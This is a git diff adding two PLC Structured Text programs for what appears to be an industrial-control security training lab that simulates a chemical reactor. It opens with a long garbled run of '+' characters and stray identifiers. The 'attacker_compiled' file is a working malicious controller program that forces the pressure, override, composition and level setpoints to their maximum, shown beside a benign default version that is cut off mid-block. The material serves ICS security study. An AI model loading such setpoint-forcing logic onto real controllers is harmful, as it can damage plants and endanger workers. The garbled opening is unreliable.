+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/attacker_compiled.st b/plc/GRFICS_Workstation_Docs/attacker_compiled.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/attacker_compiled.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/default_compiled.st b/plc/GRFICS_Workstation_Docs/default_compiled.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/default_compiled.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; 